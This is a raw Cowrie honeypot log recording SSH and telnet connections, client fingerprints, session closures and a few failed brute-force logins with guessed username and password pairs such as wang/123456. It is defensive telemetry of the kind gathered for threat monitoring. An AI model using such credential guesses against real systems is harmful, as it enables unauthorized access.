{"eventid":"cowrie.session.closed","duration":36.90006160736084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:39.877059Z","src_ip":"62.210.97.77","session":"ad2ab2bdf576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.855862617492676,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:40.466401Z","src_ip":"62.210.97.77","session":"24f4d77b6e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59204,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce617dac696","protocol":"ssh","message":"New connection: 176.65.132.254:59204 (10.17.0.5:22) [session: 0ce617dac696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:40.561947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:40.566372Z","src_ip":"176.65.132.254","session":"0ce617dac696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40390,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c44563151b2","protocol":"telnet","message":"New connection: 62.210.97.77:40390 (10.17.0.5:23) [session: 4c44563151b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:40.605384Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:40.648066Z","src_ip":"176.65.132.254","session":"0ce617dac696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:40.899638Z","src_ip":"176.65.132.254","session":"0ce617dac696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.44202017784119,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:41.148480Z","src_ip":"65.60.27.33","session":"76e430d0fdcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.20011639595032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:41.791136Z","src_ip":"62.210.97.77","session":"533b5825365a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:41.984196Z","src_ip":"176.65.132.254","session":"0ce617dac696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a07bff3f631","protocol":"telnet","message":"New connection: 62.210.97.77:40402 (10.17.0.5:23) [session: 7a07bff3f631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:42.181952Z"}
{"eventid":"cowrie.session.closed","duration":31.00578999519348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:42.561308Z","src_ip":"62.210.97.77","session":"d68ce25e6c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.209.96.179","src_port":50950,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf9ce694e9f2","protocol":"telnet","message":"New connection: 8.209.96.179:50950 (10.17.0.5:23) [session: cf9ce694e9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:42.752664Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":35548,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7427a05985c","protocol":"ssh","message":"New connection: 103.189.235.176:35548 (159.203.135.109:22) [session: c7427a05985c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:42.973897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:42.979681Z","src_ip":"103.189.235.176","session":"c7427a05985c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:43.229265Z","src_ip":"103.189.235.176","session":"c7427a05985c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46120,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c20222528b","protocol":"telnet","message":"New connection: 38.54.119.93:46120 (10.17.0.5:23) [session: 61c20222528b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:43.234975Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"p@ssw0rd","message":"login attempt [user2/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:44.210682Z","src_ip":"103.189.235.176","session":"c7427a05985c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.843284845352173,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:44.565740Z","src_ip":"134.209.8.29","session":"87bff73a606c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50682,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41379785459","protocol":"ssh","message":"New connection: 176.65.132.254:50682 (10.17.0.5:22) [session: f41379785459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:44.773342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:44.781860Z","src_ip":"176.65.132.254","session":"f41379785459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:44.864001Z","src_ip":"176.65.132.254","session":"f41379785459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:45.156127Z","src_ip":"176.65.132.254","session":"f41379785459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.687249183654785,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:45.338343Z","src_ip":"134.209.8.29","session":"2b5ff88a1a5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:45.450624Z","src_ip":"103.189.235.176","session":"c7427a05985c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:46.248408Z","src_ip":"176.65.132.254","session":"f41379785459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0a4de777df5","protocol":"telnet","message":"New connection: 65.60.27.33:43212 (10.17.0.5:23) [session: d0a4de777df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:46.392178Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49900,"dst_ip":"10.17.0.5","dst_port":23,"session":"2523a3ec4acf","protocol":"telnet","message":"New connection: 38.54.119.93:49900 (10.17.0.5:23) [session: 2523a3ec4acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:48.660807Z"}
{"eventid":"cowrie.session.closed","duration":35.056480884552,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:48.955497Z","src_ip":"62.210.97.77","session":"77dfd511d887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.98232173919678,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:49.566918Z","src_ip":"62.210.97.77","session":"e1616e01aff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":52492,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ddd824e59af","protocol":"ssh","message":"New connection: 45.78.198.206:52492 (10.17.0.5:22) [session: 5ddd824e59af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:49.580584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:49.585120Z","src_ip":"45.78.198.206","session":"5ddd824e59af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49776,"dst_ip":"10.17.0.5","dst_port":23,"session":"680dd30201dc","protocol":"telnet","message":"New connection: 38.54.119.93:49776 (10.17.0.5:23) [session: 680dd30201dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:49.616329Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:49.843769Z","src_ip":"45.78.198.206","session":"5ddd824e59af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1461992263793945,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:52.762417Z","src_ip":"38.54.119.93","session":"680dd30201dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.084056854248047,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:52.836594Z","src_ip":"8.209.96.179","session":"cf9ce694e9f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.330740690231323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:53.115552Z","src_ip":"62.210.97.77","session":"6b9c75c62093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.079782485961914,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:53.217293Z","src_ip":"62.210.97.77","session":"b9409042e327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.537471294403076,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:54.477334Z","src_ip":"62.210.97.77","session":"04afeef39b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":40396,"dst_ip":"159.203.135.109","dst_port":23,"session":"64ae764791e1","protocol":"telnet","message":"New connection: 94.156.33.203:40396 (159.203.135.109:23) [session: 64ae764791e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:55.555651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53580,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f77b2a0313","protocol":"telnet","message":"New connection: 62.210.97.77:53580 (10.17.0.5:23) [session: c4f77b2a0313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:56.231624Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55608,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9354c7edfbc","protocol":"telnet","message":"New connection: 65.60.27.33:55608 (10.17.0.5:23) [session: e9354c7edfbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:57.078130Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":40412,"dst_ip":"159.203.135.109","dst_port":23,"session":"5594d9909d4b","protocol":"telnet","message":"New connection: 94.156.33.203:40412 (159.203.135.109:23) [session: 5594d9909d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:57.509781Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60616,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4415436f44","protocol":"telnet","message":"New connection: 134.209.8.29:60616 (159.203.135.109:23) [session: db4415436f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:58.509276Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45010,"dst_ip":"10.17.0.5","dst_port":23,"session":"804ff4a2a9c5","protocol":"telnet","message":"New connection: 62.210.97.77:45010 (10.17.0.5:23) [session: 804ff4a2a9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:58.970774Z"}
{"eventid":"cowrie.session.closed","duration":32.50205731391907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.062829Z","src_ip":"62.210.97.77","session":"e161740239aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.583584785461426,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.170904Z","src_ip":"65.60.27.33","session":"248e2ab0c6b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58286,"dst_ip":"10.17.0.5","dst_port":23,"session":"d20c09aa2231","protocol":"telnet","message":"New connection: 65.60.27.33:58286 (10.17.0.5:23) [session: d20c09aa2231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.216559Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58434,"dst_ip":"10.17.0.5","dst_port":23,"session":"a894d5060e45","protocol":"telnet","message":"New connection: 65.60.27.33:58434 (10.17.0.5:23) [session: a894d5060e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.427320Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45012,"dst_ip":"10.17.0.5","dst_port":23,"session":"947beb5eb087","protocol":"telnet","message":"New connection: 62.210.97.77:45012 (10.17.0.5:23) [session: 947beb5eb087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.505561Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11949860aa9","protocol":"telnet","message":"New connection: 62.210.97.77:45022 (10.17.0.5:23) [session: f11949860aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.694036Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"453be44925bd","protocol":"telnet","message":"New connection: 38.54.119.93:56816 (10.17.0.5:23) [session: 453be44925bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.756723Z"}
{"eventid":"cowrie.session.closed","duration":41.30833172798157,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:59.978124Z","src_ip":"65.60.27.33","session":"368502d87d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41989207267761,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:00.257567Z","src_ip":"62.210.97.77","session":"f6e25aa56207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45032,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eee162b4ec7","protocol":"telnet","message":"New connection: 62.210.97.77:45032 (10.17.0.5:23) [session: 7eee162b4ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:00.874542Z"}
{"eventid":"cowrie.session.closed","duration":32.61193823814392,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:02.072441Z","src_ip":"62.210.97.77","session":"40767233456a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97833514213562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:02.974131Z","src_ip":"94.156.33.203","session":"848d9d74c02b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35884,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ffdaad981ea","protocol":"telnet","message":"New connection: 65.60.27.33:35884 (10.17.0.5:23) [session: 6ffdaad981ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:04.307752Z"}
{"eventid":"cowrie.session.closed","duration":5.342538833618164,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:05.099143Z","src_ip":"38.54.119.93","session":"453be44925bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04476261138916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:07.463455Z","src_ip":"62.210.97.77","session":"6fdb6470b975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.683714866638184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:08.069235Z","src_ip":"62.210.97.77","session":"b1e55dcbeccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.153.72.27","src_port":58298,"dst_ip":"10.17.0.5","dst_port":23,"session":"77da67159bc6","protocol":"telnet","message":"New connection: 8.153.72.27:58298 (10.17.0.5:23) [session: 77da67159bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:08.607317Z"}
{"eventid":"cowrie.session.closed","duration":35.50894641876221,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:09.056196Z","src_ip":"62.210.97.77","session":"39b0f5f8cf3a","protocol":"telnet"}
